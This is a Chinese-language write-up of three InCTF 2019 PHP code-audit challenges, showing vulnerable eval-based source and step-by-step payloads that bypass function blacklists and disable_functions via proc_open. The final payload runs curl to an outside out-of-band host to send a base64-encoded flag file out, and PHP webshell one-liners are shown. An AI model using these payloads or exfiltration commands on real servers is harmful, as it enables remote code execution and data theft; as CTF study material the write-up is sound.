这里复现下InCTF 2019 PHP+1,+1.5,+2.5这三道PHP的题目,考点是绕过WAF和disable_functions。

0x01 题目分析

这三道题都是PHP代码审计题目,三题之间层层递进,区别在于自身写的WAF越来越严格地进行了过滤。

先分别看看三个题目的源码。

PHP+1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// PHP+1
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

可以看到,漏洞代码就是eval($input);,这里我们可以传入两个参数:input和thisfile。

input参数:在eval执行input参数值之前,会经过check()函数的检测过滤处理。

thisfile参数:会经过is_file()函数和file_existes()函数过滤;若调用is_file()函数判断输入参数值是文件则无法进入漏洞代码逻辑;若调用file_existes()函数判断该文件不存在,则同样无法进入漏洞代码逻辑;但这里我们可以通过传入一个已存在的目录路径来绕过这两个函数的检测;而绕过这两个函数之后,就是绕过check()函数的问题了。

check()函数:先调用get_defined_functions()['internal']来获取系统内置函数作为黑名单,然后将该黑名单函数作为正则匹配input参数值进行检测,若匹配成功则返回true、不仅如此后续eval的漏洞代码逻辑;若匹配失败则返回false、进入漏洞代码逻辑。

PHP+1.5

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
// php+1.5
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

和PHP+1相比,区别在于多了个黑名单正则/exit|die|eval|\[|\]|\\\|\*||-|+|~|{|}|\”|\’/i`来匹配过滤input参数值,即将eval、die、exit(这几个不算PHP函数)及其他一些特殊字符进行了过滤,提高了利用的门槛。

PHP+2.5

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//PHP+2.5
$input = $_GET['input'];

function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
if (strlen($input) > 100) { #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

在PHP+1.5的基础上,增加了对input长度的限制,只有当input参数值的大小<100字节时才能通过检测,提高了利用门槛。

0x02 题解

首先,当然是要看下phpinfo相关信息,看看disable_functions有没有限制,因为这里相当于直接给了个有WAF的后门。三题所在的环境是一样的,我们从PHP+1入手。

我们知道phpinfo()函数是系统内置函数,会直接被黑名单过滤掉;这里输入payload ?thisfile=c:/&input=phpinfo();,thisfile参数值为指定一个已存在的目录路径:

这里我们可以使用字符串拼接的方式来绕过?thisfile=c:/&input=$a='php'.'info';$a();

接着扫描flag所在位置,由于三题环境是一样的,这里只需要在PHP+1环境中找到就行,用glob()函数即可,?thisfile=c:/&input=eval('echo im'.'plode(" ",glo'.'b("*"));');

下面就有个问题了。

这种字符串拼接方式在PHP+1中固然可行,但是到了后面两题就行不通了。这是因为后两题的第二个黑名单回会过滤特殊字符,包括单双引号等,但是我们发现.$并未过滤。

这里,我们从PHP一句话后门可以联想,后门的密码可以添加引号括起来也可以不添加,PHP程序都会将该值当成字符串类型,都能正常执行,如下面两句后门都能正常运行:

1
2
<?php @eval($_POST['c']);?>
<?php @eval($_POST[c]);?>

因此,借鉴在这种方式,我们可以将payload改为?thisfile=c:/&input=$a=php.info;$a();,这样虽然会在PHP运行后显示Notice注意信息,但并不会报错,会执行成功,下面直接在PHP+2.5中同样是可以执行的:

绕过了拼接字符串的坑后,我们直接查看disable_functions项:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir

虽然过滤了大多数的危险函数,但还有漏网之鱼——proc_open()函数。

proc_open()函数

执行一个命令,并且打开用来输入/输出的文件指针。

1
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource

该函数必须的3个参数:

  • cmd:要执行的命令。
  • descriptorspec:一个索引数组。
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一端的文件指针。

Demo用法,用于Windows环境下弹出计算器:

1
2
3
4
5
6
7
8
9
10
<?php
$cmd = 'calc.exe';
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("pipe", "w") // 标准错误,子进程向此管道中写入数据
);
$pipes = null;
proc_open($cmd, $descriptorspec, $pipes);
?>

回到题目,发现下划线_被过滤了,要调用proc_open()函数还得进行拼接处理:

1
2
3
4
5
// _
$u=chr(95); --> $b=c.h.r;$u=$b(95);

// proc_open
$e=proc.$u.open;

接着是如何给该函数传参。

因为该传入的第二个参数是二维数组,其格式如下,如果直接构造会使payload长度超出限制:

1
2
3
4
5
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

但我们可以通过$_GET方式进行包括数组在内的传参,结合current()和next()函数来构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// current()和next()函数示例
<?php
$a = array('AAA','BBB','CCC');
echo current($a);
echo next($a);
?>

// proc_open()示例
<?php
proc_open(current($_GET),next($_GET), $j);
?>

// $_GET
$k=$u.G.E.T;$g=$$k;

proc_open()函数构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
// _
$b=c.h.r;
$u=$b(95);

// $_GET
$k=$u.G.E.T;
$g=$$k;

// proc_open(current($_GET),next($_GET), $j);
$c=curr.ent;
$n=ne.xt;
$e=proc.$u.open;
$e($c($g),$n($g),$j);

加上传参的完整proc_open()函数构造,注意proc_open()函数第一个参数必须在第一位、第二个数组参数必须紧跟其后:

1
2
3
4
5
6
7
8
?cmd=curl http://xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`
&descriptorspec[0][]=pipe
&descriptorspec[0][]=r
&descriptorspec[1][]=pipe
&descriptorspec[1][]=w
&descriptorspec[2][]=pipe
&descriptorspec[2][]=w
&input=$b=c.h.r;$u=$b(95);$k=$u.G.E.T;$g=$$k;$c=curr.ent;$n=ne.xt;$e=proc.$u.open;$e($c($g),$n($g),$j);

最后整合的Linux版payload如下,往ceye发送flag内容:

1
?cmd=curl http://xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`&descriptorspec[0][]=pipe&descriptorspec[0][]=r&descriptorspec[1][]=pipe&descriptorspec[1][]=w&descriptorspec[2][]=pipe&descriptorspec[2][]=w&input=$b=c.h.r;$u=$b(95);$k=$u.G.E.T;$g=$$k;$c=curr.ent;$n=ne.xt;$e=proc.$u.open;$e($c($g),$n($g),$j);&thisfile=/tmp/

环境换在Linux上,直接用该payload打3道题,都能通杀:

在ceye能接收到flag信息:

0x03 参考

InCTF 2019 - (PHP+1, PHP+1.5 and PHP+2.5) 三题深度复现